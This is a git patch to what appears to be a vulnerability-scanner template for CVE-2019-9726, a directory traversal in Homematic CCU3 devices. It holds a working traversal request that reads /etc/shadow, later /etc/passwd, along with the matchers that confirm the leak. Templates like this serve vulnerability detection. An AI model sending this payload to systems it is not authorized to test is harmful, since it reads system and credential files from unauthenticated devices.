From 7a43f7d77c6c201c2c9c0f3fe80733b01b973633 Mon Sep 17 00:00:00 2001
From: Prince Chaddha <prince@projectdiscovery.io>
Date: Sun, 27 Feb 2022 20:16:53 +0530
Subject: [PATCH] Update and rename CVE-2019-9726.yaml to
 cves/2019/CVE-2019-9726.yaml

---
 .../2019/CVE-2019-9726.yaml                    | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)
 rename CVE-2019-9726.yaml => cves/2019/CVE-2019-9726.yaml (74%)

diff --git a/CVE-2019-9726.yaml b/cves/2019/CVE-2019-9726.yaml
similarity index 74%
rename from CVE-2019-9726.yaml
rename to cves/2019/CVE-2019-9726.yaml
index a9f0de6484..5e6190721d 100644
--- a/CVE-2019-9726.yaml
+++ b/cves/2019/CVE-2019-9726.yaml
@@ -1,6 +1,6 @@
 id: CVE-2019-9726
 info:
-  name: Directory Traversal / Arbitrary File Read in Homematic CCU3
+  name: Homematic CCU3 - Directory Traversal / Arbitrary File Read in 
   author: 0x_Akoko
   severity: high
   description: Directory Traversal / Arbitrary File Read in eQ-3 AG Homematic CCU3 3.43.15 and earlier allows remote attackers to read arbitrary files of the device's filesystem. This vulnerability can be exploited by unauthenticated attackers with access to the web interface.
@@ -12,20 +12,22 @@ info:
     cvss-score: 7.5
     cve-id: CVE-2019-9726
     cwe-id: CWE-22
-  tags: cve,cve2019,homsmstic,lfi
+  tags: cve,cve2019,homematic,lfi
 
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}/.%00./.%00./etc/shadow"
+      - "{{BaseURL}}/.%00./.%00./etc/passwd"
+
     matchers-condition: and
     matchers:
-      - type: word
-        words:
-          - "root:*:"
-          - "bin:*:"
-        condition: and
+      - type: regex
         part: body
+        regex:
+          - "root:.*:0:0:"
+          - "bin:.*:0:0:"
+        condition: or
+
       - type: status
         status:
           - 200